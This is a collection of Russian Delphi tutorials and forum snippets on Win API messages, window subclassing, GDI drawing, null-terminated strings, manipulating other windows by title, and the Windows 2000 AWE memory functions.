
В Windows (и, соответственно, в модуле Messages.dcu) определена специальная константа WM_User, равная $400 (1024). Впрочем, нет гарантии, что в следующих версиях Windows значение этой константы не изменится. Номера стандартных сообщений лежат в диапазоне от 0 до WM_User-1. Для локальных пользовательских сообщений оставлен диапазон от WM_User до $7FFF (32767). Забегая чуть вперёд, скажу, что для глобальных пользовательских сообщений оставлен диапазон от $C000 до $FFFF (от 49152 до 65535).

Глобальные пользовательские сообщения, называемые также строковыми, предназначены специально для тех случаев, когда локальные сообщения оказываются слишком ненадёжными. Например, может потребоваться написать несколько программ, которые взаимодействуют между собой. Поиск окон, принадлежащих этим программам, можно осуществлять, посылая всем окнам какое-либо специальное сообщение. Те, которые правильно откликнулись - <свои>. Так как сообщения посылаются всем окнам, <чужие> тоже будут его получать. Нужна гарантия, что они никак не отреагируют на такое сообщение. Для этого существует регистрация сообщений, обеспечивающая уникальный номер каждому, кто в нём нуждается.

Прежде чем зарегистрировать сообщение, необходимо придумать ему имя (именно поэтому они называются строковыми). Если давать своим сообщениям осмысленные имена, а не что-то вроде WM_MyMessage1, слишком мала вероятность случайного совпадения. Далее это сообщение регистрируется функцией RegisterWindowMessage, которая возвращает уникальный номер этого сообщения. Если сообщение с таким именем регистрируется впервые, номер выбирается из числа ещё не занятых. Если же сообщение с таким именем уже было зарегистрировано, то возвращается тот же самый номер, который был присвоен ему при первой регистрации. Таким образом разные программы, регистрирующие сообщения с одинаковыми именами, получат одинаковые номера и смогут понимать друг друга. Для прочих же окон это сообщение не будет иметь никакого смысла.

Неудобство использования таких сообщений очевидно - их номера определяются только после начала выполнения программы, при компиляции они ещё неизвестны. Поэтому обработка таких сообщений описанным ранее методом невозможна - мы не знаем, какой номер писать после слова message. Здесь может помочь виртуальный метод WndProc, имеющийся в классе TControl (и в TForm как в его потомке). Этот метод получает все сообщения, поступающие окну. Если перекрыть этот метод, то ничего не мешает сравнивать внутри него номер пришедшего и определённого пользователем сообщения. Например, так:

var WM_MyUserDemoMessage: Cardinal;
.....................
procedure TForm1.FormCreate(Sender: TObject);
 begin
  WM_MyUserDemoMessage := RegisterWndowMessage('WM_MyUserDemoMessage')
 end;
.....................
procedure TForm1.WndProc(var Message: TMessage);
 begin
  if Message.Msg = WM_MyUserDemoMessage then
   begin
    ..............
   end
  else
   inherited WndProc(Message)
 end;

Метод WndProc <первичнее>, чем методы с директивой message. Он раньше получает сообщения, и он же содержит код, который при необходимости ищет и затем вызывает для каждого сообщения соответствующий метод обработки сообщения. И он же вызывает функцию Win API DefWndProc для стандартной реакции на сообщение. Если при перекрытии не вызывать унаследованный метод, то придётся самостоятельно реализовывать эти действия или же подумать, как обойтись без них.

Диапазон номеров сообщений от $8000 (32768) до $BFFF (49151) пока ничем не занят, но зарезервирован Windows для использования в будущем. Авторы Delphi поступили не совсем корректно, использовав верхнюю часть этого диапазона (с адреса $B000 (45046)) для своих собственных сообщений. Именованные константы для этих сообщений находятся в модуле Controls.dcu и начинаются с префикса CM_. Эти сообщения обычно бесполезны для автора готовых программ, но бывают крайне необходимы при написании своих компонентов. Эти сообщения, к сожалению, никак не упомянуты в справке Delphi, поэтому разбираться с ними приходится по исходным файлам VCL.
Особые сообщения

Отправка и обработка некоторых сообщений производится не по общим правилам, а с некоторыми исключениями. Приведённый ниже список таких сообщений не претендует на полноту, но всё-таки может оказаться полезным для начинающего.

Сообщение WM_CopyData используется для передачи блока данных от одного процесса к другому. В 32-разрядных версиях Windows память, выделенная процессу, недоступна для всех остальных процессов. Поэтому просто передать указатель другому процессу нельзя - он не сможет получить доступ к этой области памяти. Для сообщения WM_CopyData приходится делать исключение: блок данных временно становится доступным другому процессу. Это требует определённой синхронности действий от двух процессов, поэтому для отправки этого сообщения можно использовать только SendMessage, прямо вызывающую оконную процедуру. PostMessage использовать нельзя.

Сообщение WM_Paint предназначено для перерисовки клиентской области окна. Если изображение сложное, перерисовка занимает много времени. Чтобы улучшить быстродействие системы, авторы Windows сделали так, что сообщение WM_Paint пропускает все остальные сообщения в очереди, и передаётся окну только тогда, когда в очереди не остаётся никаких других сообщений. Если в очереди оказываются несколько сообщений WM_Paint, они объединяются в одно. Просто так послать сообщение WM_Paint невозможно. Для этого надо сначала объявить, что окно или его часть нуждаются в перерисовке (InvalidateRect, InvalidateRgn).

При обработке сообщений от клавиатуры можно использовать функцию GetKeyState, которая возвращает состояние любой клавиши (нажата-отпущена) в момент возникновения данного события. Именно в момент возникновения, а не в момент вызова функции.
Компоненты, влияющие на обработку событий

Так как стандартные средства Delphi не позволяют использовать все инструменты Win API для работы с окнами, иногда приходится писать компоненты, модифицирующие форму. Мне, например, приходилось писать компоненты, при помещении которых на форму она становится непрямоугольной или полупрозрачной. Очень часто таким компонентам приходится обрабатывать те сообщения, которые предназначены форме-хозяину. Delphi даёт возможность компоненту перехватить сообщения, хотя, на мой взгляд, механизм перехвата оставляет желать лучшего, потому что он не допускает возможности взаимодействия нескольких перехватчиков.

Вместо общего описания алгоритма перехвата я далее просто приведу один из способов сделать это. Способ этот не единственный верный, многие детали можно модифицировать для нужд конкретной задачи, однако основная идея (и основные недостатки) никуда не денутся. Далее я буду предполагать, что компонент перехватывает сообщения владельца (Owner). Что нужно изменить, чтобы он начал перехватывать сообщения родителя (Parent), я скажу чуть позже.

Прежде всего, владелец должен быть окном, поэтому в конструкторе компонента надо проверить класс владельца. Это очень полезно ещё и потому, что тогда в остальных методах объекта можно обойтись без такой проверки, что делает код более эффективным. Чтобы предотвратить создание компонента, достаточно в его конструкторе возбудить какое-либо исключение

Метод компонента не может быть оконной процедурой, потому что методу всегда неявно передаётся <лишний> параметр Self. Поэтому нужна генерация специального кода входа и выхода для того, чтобы вызывать метод вместо оконной процедуры. Этот код генерируется с помощью специальной функции Delphi, которая создаёт в памяти нужный код и возвращает на него указатель. Поэтому компонент должен иметь указатель на этот код (я условно назову этот указатель NewWndProc). Сам метод, обрабатывающий события (условно - HookWndProc) должен иметь один параметр-переменную типа TMessage, и может быть как статическим, тик и виртуальным или динамическим. Кроме того, нужен указатель на старую процедуру, которая была до установки компонента (OldWndProc). Далее, компонент должен содержать два метода для перехвата и освобождения, которые выглядят так:

procedure TMyComponent.HookOwner;
 begin
  if Assigned(Owner) then
   begin
    OldWndProc := Pointer(GetWindowLong(TForm(Owner).Handle, GWL_WndProc));
    NewWndProc := MakeObjectInstance(HookWndProc);
    SetWindowLong(TForm(Owner).Handle, GWL_WndProc, LongInt(NewWndProc))
   end
 end;

procedure TMyComponent.UnhookOwner;
 begin
  if Assigned(Owner) and Assigned(OldWndProc) then
   SetWindowLong(TForm(Owner).Handle, GWL_WndProc, LongInt(OldWndProc));
  if Assigned(NewWndProc) then
   FreeObjectInstance(NewWndProc);
  NewWndProc := nil;
  OldWndProc := nil
 end;

Функции Win API GetWindowLong и SetWindowLong предназначены для получения и изменения 32-разрядного значения, связанного с данным окном. В данном случае мы с их помощью работаем с 32-разрядным параметром - адресом оконной процедуры. Изменение адреса оконной процедуры с помощью SetWindowLong и есть то самое порождение оконного подкласса, о котором я писал ранее. Функция MakeObjectInstance - это та самая функция, которая превращает метод в оконную процедуру. FreeObjectInstance освобождает память, выделенную для создания кода входа и выхода функцией MakeObjectInstance.

Было бы глупо перехватывать сообщения и при этом не иметь возможности вызвать ту оконную процедуру, которая была до перехвата. Если необходимо вызвать её для обработки сообщения Msg с параметрами WParam и LParam, нужно воспользоваться следующим кодом:

CallWindowProc(OldWndProc, TForm(Owner).Handle, Msg, WParam, LParam);

Результатом работы этой функции будет число, возвращаемое оконной процедурой.

Вызов процедуры HookOwner я обычно помещаю в самый конец конструктора компонента, UnhookOwner - в самое начало деструктора. Но в некоторых ситуациях VCL Delphi уничтожает окно и вновь создаёт его с новыми свойствами. Это происходит очень быстро, пользователь ничего не замечает. (Такое <пересоздание> формы может потребоваться при изменении во время выполнения свойств FormStyle, BorderStyle и BorderIcons.) Однако VCL ничего не знает о перехвате и поэтому не может корректно удалить его, а уж о восстановлении его потом и речи быть не может. Чтобы избежать такой ситуации, необходимо обрабатывать сообщение CM_RecreateWnd: перед вызовом унаследованного метода для обработки этого события компонент должен снять перехват, после - восстановить его.

Если форма содержит несколько компонентов, перехватывающих сообщения, могут возникнуть конфликты. Снятие и восстановление перехвата через обработку сообщения CM_RecreateWnd безопасно в этом смысле, потому что компоненты обрабатывают это сообщение в порядке, обратном порядку создания. Но если приходится удалять компонент-перехватчик, он не исключает себя из цепочки перехватчиков, а просто обрывает её, и все перехватчики, созданные после него, оказываются не у дел. Именно это я и считаю главным недостатком механизма перехвата.

Если есть необходимость перехватывать сообщения не владельца, а родителя, нужно сделать всё то же самое с точностью до замены Owner на Parent. Но владельца компонент в принципе не может поменять, а вот родителя - вполне. Поэтому нужно ещё перекрыть виртуальный метод SetParent, в котором снимается перехватчик со старого родителя, затем вызывается унаследованный SetParent, затем уже ставится обработчик на нового родителя

Графические функции Win API

Та часть Win API, которая служит для работы с графикой, обычно называется GDI (Graphic Device Interface). Ключевым в GDI является понятие контекста устройства (Device Context, DC). Контекст устройства - это специфический объект, хранящий информацию о возможностях устройства, о способе работы с ним и о разрешённой для изменения области. В Delphi контекст устройства представлен классом TCanvas, свойство Handle которого содержит дескриптор контекста устройства. TCanvas универсален в том смысле, что с его помощью рисование в окне, на принтере или в метафайле выглядит одинаково. То же самое справедливо и для контекста устройства. Разница заключается только в том, как получить в разных случаях дескриптор контекста.

Большинство методов класса TCanvas являются <калькой> с соответствующих и, в большинстве случаев, одноимённых функций GDI. Но в некоторых случаях (прежде всего в методах вывода текста и рисования многоугольников) параметры методов TCanvas имеют более удобный тип, чем функции GDI. Например, метод TCanvas.Polygon требует в качестве параметра открытый массив элементов типа TPoint, а соответствующая функция GDI - указатель на такой массив и число элементов в нём. Это означает, что для массива до вызова функции надо выделить память, а потом - освободить её. Ещё нужен код, который заполнит эту область памяти нужными значениями. И ни в коем случае нельзя ошибаться в количестве элементов массива. Если зарезервировать память для одного числа точек, а при вызове функции указать другое, программа будет работать неправильно. Но для простых функций работа через GDI ничуть не сложнее, чем через TCanvas.

Для получения дескриптора контекста устройства существует много функций. Только для того, чтобы получить дескриптор контекста обычного окна, существуют три функции: BeginPaint, GetDC, GetWindowDC и GetDCEx. Первая из них может использоваться только при обработке сообщения WM_Paint. Вторая даёт контекст клиентской области окна. Третья позволяет получить контекст всего окна, вместе с неклиентской частью. Последняя же позволяет получить контекст определённой области клиентской части окна.

После того, как дескриптор контекста получен, можно воспользоваться преимуществами класса TCanvas. Для этого надо создать экземпляр такого класса, и присвоить его свойству Handle полученный дескриптор. Освобождение ресурсов нужно проводить в следующем порядке: сначала свойству Handle присваивается нулевое значение, затем уничтожается экземпляр класса TCanvas, затем с помощью подходящей функции GDI освободить контекст устройства.

Разумеется, можно вызывать функции GDI при работе через TCanvas. Для этого им просто надо передать в качестве дескриптора контекста Canvas.Handle. Коротко перечислю те возможности GDI, которые разработчики Delphi почему-то не сочли нужным включать в TCanvas: установка прозрачного фона у текста без изменения кисти; рисование кривых Безье; работа с регионами; выравнивание текста по любому углу или по центру; установка собственной координатной системы; получение детальной информации об устройстве; использование геометрических карандашей; вывод текста под углом к горизонтали.

Использование кистей, карандашей и шрифтов в GDI принципиально отличается от того, что привычно в Delphi. Класс TCanvas имеет свойства Brush, Pen и Font, изменение атрибутов которых приводит к выбору того или иного карандаша, шрифта, кисти. В GDI эти объекты самостоятельны, должны создаваться, получать свой дескриптор, <выбираться> в нужный контекст устройства с помощью функции SelectObject и уничтожаться после использования. Причём удалять можно только те объекты, которые не выбраны ни в одном контексте. Есть также несколько стандартных объектов, которые не надо ни создавать, ни удалять. Их дескрипторы можно получить с помощью функции GetStockObject. Чтобы продемонстрировать это, приведу фрагмент программы, рисующей на контексте с дескриптором DC две линии - синюю и красную. В этом фрагменте используется то, что функция SelectObject возвращает дескриптор объекта, родственного выбираемому, который был выбран ранее. Так, при выборе нового карандаша она вернёт дескриптор того карандаша, который был выбран до этого.

SelectObject(DC, CreatePen(PS_Solid, 1, RGB(255, 0, 0)));
MoveToEx(DC, 100, 100, nil);
LineTo(DC, 200, 200);
DeleteObject(SelectObject(DC, CreatePen(PS_Solid, 1, RGB(0, 0, 255))));
MoveToEx(DC, 200, 100, nil);
LineTo(DC, 100, 200);
DeleteObject(SelectObject(DC, GetStockObject(Black_Pen)));

Особым образом следует работать через GDI с растровыми изображениями. Эта тема настолько сложна, что в таком кратком обзоре не стоит и начинать её. Скажу только, что при использовании 24-битных изображений лучше не комбинировать Delphi и GDI. Если передать TBitmap.Handle какой-нибудь функции GDII, у этой картинки иногда портятся последние несколько байт. Так как строки в растровом изображении располагаются снизу вверх, то это приводит к порче правого верхнего угла рисунка. Такой глюк я наблюдал в Delphi 3.0, про остальные версии Delphi ничего сказать не могу.

При переходе на 32-разрядную версию Windows многие функции были исключены из GDI и заменены новыми. Список устаревших функций и соответствующих им новых можно найти в справке в разделе 'Graphics Functions'.

Ещё одно отличие от 16-разрядных версий заключается в том, что ранее дескрипторы графических объектов были глобальными, то есть объект, созданный одной программой, можно было использовать в другой, если эти программы могли передавать друг другу дескрипторы. В 32-разрядных версиях дескрипторы объектов, созданные одним процессом, не имеют смысла для другого.

Существует одна проблема при работе с метафайлами в Windows 95 (возможно, эта же проблема есть в Windows 98 и NT, но я не проверял). Метафайл создаётся с помощью функции CreateEnhMetaFile. Она возвращает дескриптор контекста метафайла, который можно использовать для рисования. Затем вызывается CloseEnhMetaFile, закрывающая метафайл для рисования, освобождающая контекст устройства и возвращающая дескриптор метафайла. После использования метафайл удаляется функцией DeleteEnhMetaFile, которая освобождает память, связанную с метафайлом, и его дескриптор. Одна из функций, освобождающих дескрипторы, работает неправильно, и дескриптор не освобождается. Если программе часто приходится создавать и уничтожать метафайлы, это быстро приводит к тому, что все дескрипторы оказываются заняты, и система перестаёт работать корректно. Бороться с этим, пользуясь классами TMetafile и TMetafileCanvas, нельзя, потому что они работают через эти же функции.

Работа со строками в Win API

Функции Win API не поддерживают тип string, принятый в Delphi. Они работают со строками, оканчивающимися на #0 (нуль-терминированные строки, null-terminated strings). Это означает, что строкой называется указатель на цепочку символов. Признаком конца такой цепочки является символ #0. Раньше для таких строк использовали термин ASCIIZ. ASCII - обозначение кодировки, Z - zero. Сейчас кодировка ASCII заменена на ANSI, поэтому этот термин больше не применяется, хотя это те же самые по своей сути строки. Обычно программисту приходится работать с кодировкой ANSI, но это не единственная кодировка, поддерживаемая Windows.

В Delphi определён тип PChar, содержащий указатель на такую строку. Если один из параметров функции Win API имеет такой тип, то можно либо передать ему строковую константу, заключённую в одинарные кавычки, как если бы это был тип string, либо выражение PChar(S), где S - параметр типа string, возможно, сложное выражение. Ещё один способ - воспользоваться функциями модуля SysUtils.dcu для работы с нуль-терминированными строками и самостоятельно сформировать строку типа PChar. При этом надо будет самостоятельно выделять и освобождать память для цепочки символов, что обычно приводит только к лишним проблемам. Обычно гораздо проще работать с типом string, и лишь при вызове соответствующей функции преобразовать его к типу PChar. Для любителей оптимизации кода замечу, что такое преобразование не расходует ни память, ни процессорное время, потому что тип string - сам по себе указатель, он указывает именно на строку, завершающуюся нулём, а дополнительная информация, специфическая для типа string, имеет отрицательное смещение относительно этого указателя. Поэтому выражение PChar(S) не приводит к генерации кода, а лишь разрешает компилятору использовать этот указатель в качестве PChar.

Получить строку от функции Win API несколько сложнее, чем передать её. Обычно это делается в несколько этапов. Сначала с помощью функций Win API выясняется, какова длина строки. Затем резервируется место для неё. А только затем вызывается та функция, которая копирует строку в приготовленный буфер. Например, для получения заголовка окна нужно использовать функции GetWindowTextLength и GetWindowText. В некоторых случаях можно облегчить себе жизнь, если существует ограничение на максимальную длину строки. Например, атом не может быть длиннее 255-ти символов. Поэтому можно выделить буфер размером 256 символов (один - для завершающего нуля), и сразу копировать туда атом. В любом случае полученная строка будет нуль-терминированной. Чтобы преобразовать её к обычной, используйте функцию StrPas. Или же можно просто выполнить присвоение S := P, где S - типа string, P - PChar.

Другой тип кодировки, поддерживаемый в Windows, называется Wide. В отличие от ANSI в нём для представления одного символа используется не один, а два байта. Все функции, работающие со строками, написаны в двух модификациях - для ANSI и для Wide. Например, если посмотреть модуль user32, в котором, как утверждает справка, описана функция GetWindowText, то видно, что там нет такой функции. Там есть две другие функции - GetWindowTextA и GetWindowTextW, работающие каждая с соответствующей кодировкой. И это относится ко всем функциям, работающим со строками. К тому имени функции, которое указано в справке, необходимо добавить 'A' или 'W', в зависимости от используемой кодировки.

Разработчики Delphi при написании Windows.pas использовали маленькую хитрость, помогающую начинающему программисту не запутаться. Вот, например, цитата из этого модуля:

function GetWindowTextA(hWnd: HWND; lpString: PAnsiChar; nMaxCount: Integer): Integer; stdcall;
function GetWindowTextW(hWnd: HWND; lpString: PWideChar; nMaxCount: Integer): Integer; stdcall;
function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall;

{   Это написано в интерфейсной части модуля   }
........................

function GetWindowTextA; external user32 name 'GetWindowTextA';
function GetWindowTextW; external user32 name 'GetWindowTextW';
function GetWindowText; external user32 name 'GetWindowTextA';

{   А это - в разделе реализации   }

Видно, что функция GetWindowTextA импортируется дважды - один раз под своим настоящим именем, а второй раз - под именем GetWindowText (это и есть тот случай, когда имя функции в библиотеке и то имя, под которым она становится известна компилятору, не совпадают). Поэтому программисту в Delphi нет разницы, писать или , потому что единственное различие у них - тип параметра lpString. Но из исходного текста всё того же модуля видно, что это на самом деле один и тот же тип. По такой же схеме импортируются и все остальные строковые функции Win API.

Заключение

Функции Win API - не такая уж сложная штука. Они часто используют идеологию, не похожую ни на какую другую, но и с этим легко разобраться. Проблема только в том, где и как получить по ним информацию. Будем откровенны: в нашей стране далеко не все, мягко говоря, используют честно купленные программные продукты. Лицензионный Windows сейчас не в диковинку только потому, что его часто устанавливают на новые компьютеры. Лицензионный Delphi приобретают некоторые фирмы. Но много ли людей в России может похвастаться, что они видели документацию по Win API фирмы Microsoft? А эту документацию на русском языке? А ведь авторы западных книг по программированию обычно предполагают, что читателю есть куда заглянуть для справки по этим функциям, и поэтому особенно их не разбирают. Так что нашему программисту доступны следующие пути: по крупицам вытаскивать информацию из тех книг, где Win API упоминается; читать Win32 Develpoer's References; изучать исходные файлы RTL и VCL Delphi; искать информацию в интернете (могу посоветовать сайт http://www.delphikingdom.com). Всё. Если человек не готов часами и даже днями искать информацию о нужной функции, лучше ему не становиться программистом. Главная цель этой статьи - облегчить начало этого поиска. Но дальше человек должен идти сам.

© Григорьев Антон , 1999 Специально для Королевства Delphi

Взято из http://forum.sources.ru


Отображение формы выбранного окна

{
SW_MAXIMIZE - Развёрнуть форму
SW_MINIMIZE - Минимизировать форму
SW_SHOW - Показать форму
SW_HIDE - Спрятать форму
}
ShowWindow(FindWindow(Nil,Pchar('Название Окна')),SW_MAXIMIZE);

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Присвоение форме выбранного окна свойства Disabled / Enabled

{в конце процедуры: false для запрета true для разрешения}
EnableWindow(FindWindow(Nil,Pchar('Название Окна')), false);
Автор: p0s0l

Взято с Vingrad.ru http://forum.vingrad.ru


Запретить в выбранном окне кнопку закрытия x

EnableMenuItem(GetSystemMenu(FindWindow(Nil, Pchar('Название Окна')),False)
  ,SC_CLOSE,MF_BYCOMMAND or MF_GRAYED);
Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Закрыть выбранное окно

PostMessage(FindWindow(Nil, Pchar('Название Окна')), WM_QUIT, 0, 0);

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Сделать форму выбранного окна поверх остальных

SetForegroundWindow(FindWindow(Nil,Pchar('Название Окна')));

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Поменять заголовок выбранного окна

SetWindowText(FindWindow(Nil,Pchar('Старый Заголовок')),pchar('Новый заголовок'));

Автор: Radmin

Взято с Vingrad.ru http://forum.vingrad.ru


Процессы, потоки, память, задачи

Cодержание раздела:

AWE или как выйти за пределы 32 битной адресации New!

Пример работы с MailSlot
Функции для работы с памятьюNew!
Как определить откуда был запущен процесс?
Как запустить и подождать завершения 2х процессов?
Помогите спрятать программу из списка задач?
Сохранить строку в памяти?+пример работы с атомами
Как запустить программу и подождать ее завершения?
Как получить весь размер системной памяти?
Как узнать состояние памяти?
Как определить, запущено ли приложение в Windows NT?
Просмотрщик запущенных процессов
Посылаем нажатия клавиш другому приложению
Как сделать, чтобы запускалась только одна копия приложения?
Как разрешить / запретить переключение между задачами?
Как получить / установить приоритет процесса?
Как получить список процессов?
Как убрать мою программу из списка Alt+Ctrl+Del?
Как узнать имя файла текущего процесса?
Как определить какие приложения уже запущены?
Как создавать потоки без класса TThread?
Как программе удалить саму себя?
Как увеличить процессорное время, выделяемого программе?
Как определить сколько памяти выделено в дельфи для программы?
Прочитать список всех запущенных Exe/ Проверить запущен ли Exe?
Как активизировать предыдущий экземпляр вашей программы?
Как поменять приоритет моего приложения
Как стать невидимым в Windows NT (статья)
Синхронизация процессов при работе с Windows (статья) New!
Поддержка процедур завершения программы New!
Как узнать количество памяти используемое процессом? New!
Disable CTRL+ALT+DELETE under XP New!
Как определить насколько долго система находится в Idle? New!
Как спрятать программу от TaskManager в WindowsXP и 2000 New!
Атомы: Запись, чтение и удаление информации New!

См. также в других разделах:
Как сделать виртуальный диск?
Как получить размер физической установленной памяти?
Процессы, потоки и функции ShellExecute и WinExec


AWE

AWE или как выйти за пределы 32 битной адресации

Расширение адресной облочки Windows

Описание работы с AWE

Функции для работы с AWE:

MapUserPhysicalPages
AllocateUserPhysicalPages
MapUserPhysicalPagesScatter
FreeUserPhysicalPages

© Mystic, 2002


Описание работы с AWE

Этот раздел описывает расширение адресной оболочки Windows (Address Windowing Extention, AWE). Это расширение Windows 2000 предоставляет возможность пользовательским приложениям адресовать более чем 32 бита адресного пространства.

Windows NT и Windows 2000 предоставляют своим приложениям сплошное 32-х битовое адресное пространство, которое описывает 4 Гб виртуальной памяти. Это адресное пространство обычно разбито таким образом, что только 2 Гб непосредственно доступны для нужд приложения. Другие 2 Гб доступны только закрытому коду, принадлежащему операционной системе. Добавим, что начиная с Windows NT 4 SP 3 и Windows NT Server Enterprise Edition/Windows 2000 Advanced Server на базе процессора x86 на нужды приложения выделяется 3 Гб, а закрытому коду - 1 Гб.

AWE является набором расширений, которые предоставляют пользователю возможность пользователю напрямую выделять и фиксировать страницы в оперативной памяти. В этом случае приложения могут быстро оперировать с физичекой памятью, превышающей 4 Гб. Некоторые приложения, связанные с интесивной обработкой данных, такие как систмы управления базами данных, а также нучные и инженерные приложения, нуждаются в доступе к очень огромным кешам данных. В этом случае, размер кеша ограничивается 2 Гб, доступными приложениями, что иногда являеться жестким ограничением. В этих случаях, приложения могут использовать под кеш небольшие объемы данных.

AWE решает эту проблему путем разрешения приложению непосредственно адресовать гигантскую память, в то время как оно может использовать и обычную 32-х битную адресацию. AWE предоставляет для приложений возможность иметь под кеш более чем 4 Гб (при условии, что существует соответствующая физическая память).

Использование AWE связано с некоторыми ограничениями на использование такой памяти, главным образом эти ограничения связаны с предоставлением критичного по скорости распределением, перераспределением и освободением памяти.
* Виртуальное адресное пространство, выделенное средствами AWE, нельзя разделить с другими процессами (и, поэтому, оно не является наследуемым). Невозможно также две различные страницы виртуального адресного пространства спроецировать на одну страницу оперативной памяти. Эти ограничения позволяют сделать быстрой операции перепроецирования и очистки памяти при ее освобождении.
* Физическая память, когорая может быть выделена в AWE регионе, ограничена количеством физической памяти, которая присутсвует на компьютере. Так как эта память является фиксированной, то она блокируется до тех пор, пока приложение ее не освободит (либо до тех пор, пока приложение существует). Физические страницы памяти, выделенные для данного процесса, могут быть спроектированы в любой AWE регион, связанный с этим процессом. Приложение, которое использует AWE, должно быть очень аккуратным, поскольку может забрать на свои нужды столько памяти, что оставшиеся приложения будут иметь интенсивный обмен с файлом подкачки, либо будет предотвращена попытка создания новых процессов и потоков по причине нехватки рессурсов. Используйте функцию {GlobalMemoryStatusEx} для того, чтобы отследить использование физической памяти.
* Виртуальное адресное простаранство, выделенное средствами AWE, всегда доступно для чтения/записи, поэтому к ней неприменимы вызовы функции {VirtualProtect} (поскольку не существует памяти, доступной только для чтения, памяти без доступа, защиты страниц и прочих спецификаторов).
* Диапазон адресов AWE не может быть использован в качестве буфера для графических или видео вызовов.
* Регион памяти AWE не может быть разбит на части, которые затем можно было бы удалить. Весь регион может быть удален только как единое целое, когда это понадобиться. Для этого вы должны указать флаг MEM_RELEASE (но не MEM_DECOMMIT) при вызове {VirtualFree}.
* Приложения, которые используют AWE, не могут выполняться в режиме эмуляции. Поэтому те приложения, на архитектуре x86, которые используют AWE, должны быть перекомпилированы на других процессорах, тогда как другие большинство других приложений может быть запущено на других платформах в режиме эмуляции.
Решение адресовать физическую память следует в большей степени из получаемых при этом выгод. Вот некоторые выгоды использования AWE:
* Небольшое число функций, использующихся для операий с AWE памятью.
* AWE поддерживается на всех платформах, на которых реализована Windows 2000, включая 64-х битную версию Windows 2000.
* AWE предоставляет очень быстрое перераспределение хранимых данных. Перераспределение осуществляется путем использования таблиц виртуальной памяти без перемещеня данных в физической памяти.
* Гранулярность размера AWE страницы соответствует типу процессора (для архитектуры x86 это 4 Кб) которые более полезны для приложений, чем большие страницы (например, 2 Мб, 4 Мб на x86).
Для того чтобы получить привелегию фиксирования страниц в памяти, администратор должен добавить значение атрибута "Lock Page in Memory" в правах пользователя. Установить этот параметр можно выбрав "Панель управления &rArr; Администрирование &rArr; Локальная политика безопасности &rArr; Локальная политика &rArr; Назначение прав пользователя &rArr; Закрепление страниц в памяти" (Control panel &rArr; Administrative tools &rArr; Local security policy &rArr; Local policy &rArr; User right assigment &rArr; Lock pages in memory). Для более детальной информации по этому вопросу смотрите раздел "Права пользователей" в справочной системе по Windows 2000.

Следующие функции реализуют API расширения адресной оболочки Windows (AWE API):

VirtualAlloc - Резервирует диапазон виртуального адресного пространства для использования под AWE (атрибут MEM_PHYSICAL).

AllocateUserPhysicalPages - Выделяет физическую память для использования с AWE.

MapUserPhysicalPages - Проецирует (или сводит на нет) виртуальное пространство AWE на произвольный набор физических страниц, полученных при помощи вызова AllocateUserPhysicalPages.

MapUserPhysicalPagesScatter - Проецирует (или сводит на нет) виртуальное пространство AWE на произвольный набор физических страниц, полученных при помощи вызова AllocateUserPhysicalPages, позволяющей организовать сложное проецирование.

FreeUserPhysicalPages - Освобождает физическую память, которая была выделена под AWE.

© Mystic, 2002


MapUserPhysicalPages

Функция MapUserPhysicalPages проецирует выделенную ранее область физической памяти в указанное адрусное пространство AWE-региона виртуальной памяти. Для того, чтобы произвести "групповое" проецирование или разпроецирование для нескольких регионов, вы должны воспользоваться функцией MapUserPhysicalPagesScatter.

{ Вариант 1 }
function MapUserPhysicalPages(
  lpAddress: Pointer      // начальный адрес области памяти
  NumberOfPages: UINT;    // размер физической памяти в страницах
  var UserPfnArray: UINT  // первый элемент массива фреймов страниц
): Boolean; overload;

{ Вариант 2 }
function MapUserPhysicalPages(
  lpAddress: Pointer      // начальный адрес области памяти
  NumberOfPages: UINT;    // размер физической памяти в страницах
  UserPfnArray: Pointer   // указатель на массив фреймов страниц
): Boolean; overload;

Параметры

lpAddress
Указатель на начальный адрес области памяти, на который будет спроецирована физическая память. Это значение должно находиться внутри диапазона виртуального адресного пространства приложения, выделенного при помощи функции VirtualAlloc с атрубутом, указывающим принадлежность выделяемого фрагмента памяти к AWE-региону.

NumberOfPages
Задает размер в страницах физической памяти (и виртуального адресного пространства). Виртуальное адресное пространство непрерывно и начинается с адреса, указанного в параметре lpAddress. Кадры физической памяти задаются параметром UserPfnArray. Общее число страниц не может превышть то количество страниц, которое было выделено при вызове AllocateUserPhysicalPages.

UserPfnArray
Задает начальный элемент массива фреймов страниц (вариант 1). Эти фрейймы должны быть спроецированы в область памяти, на которую указывает параметр lpAddress. Указанный массив должен содержать по меньшей мере NumberOfPages элементов типа UINT.

Важно! Не пытайтесь модифицировать содержимое этого буфера. Он содержит данные, принадлежащие операционной системе, повреждение которых можт повлечь за собой катастрофические последствия. В этом буфере не содержиться никакой информации, необходимой вашему приложению.

Указание значение nil этому параметру (вариант 2), позволяет провести распроецирование указанного диапазона адресов. При этом указанные страницы не освобождаются в физической памяти, для этого нужно выполнять специальный вызов FreeUserPhysicalPages.

Возвращаемое значение

В случае удачного завершения фкнция возвращает True.

В случае ошибки (когда не было выпоолнено ни частичного, ни полного проецирования) функция вернет False. Для получения расширенной информации об ошибке следует сделать вызов GetLastError.

Описание

Любое количество страниц в физической памяти никак не затрагивает память, выделенную при помощи функции VirtualAlloc. Новая проекция физической памяти на виртуальное адресное пространство процесса автоматически перезаписывает все старые проекции.

Вы не можете спроецровать на виртуальное адресное пространство процесса страницы, которые не были выделены при помощи метода AllocateUserPhysicalPages.

Если со страницы физической памяти было снято проецирование на виртуальное адресно пространство процесса, то это не приводит к освобождению страницы физической памяти. Чтобы освободить страницу в физической памяти, необходимо выполнить вызов FreeUserPhysicalPages.

Страницы физической памяти могут располагаться где угодно. Вы не можете делать каких либо предположений относительно расположения страниц в оперативной памяти. Если со страницы физической памяти было снято проецирование на виртуальное адресно пространство процесса, то это не приводит к освобождению страницы физической памяти. Чтобы освободить страницу в физической памяти, необходимо выполнить вызов FreeUserPhysicalPages.

Для того, чтобы только разпроецировать страницы в физической памяти, необходимо передать в параметре UserPfnArray значение nil.

В многопроцессорных системах данная функция сохраняет согласованность буферов на аппаратном уровне. По выходе из функции гарантируется, что все потоки и процессы будут видеть корректное проецирование страниц.

Требования

Windows NT/2000: Требуется Windows 2000 или более поздняя версия
Windows 95/98: Не поддерживается
Бибиотека: Kernel32.dll
Подключаемый модуль: Windows

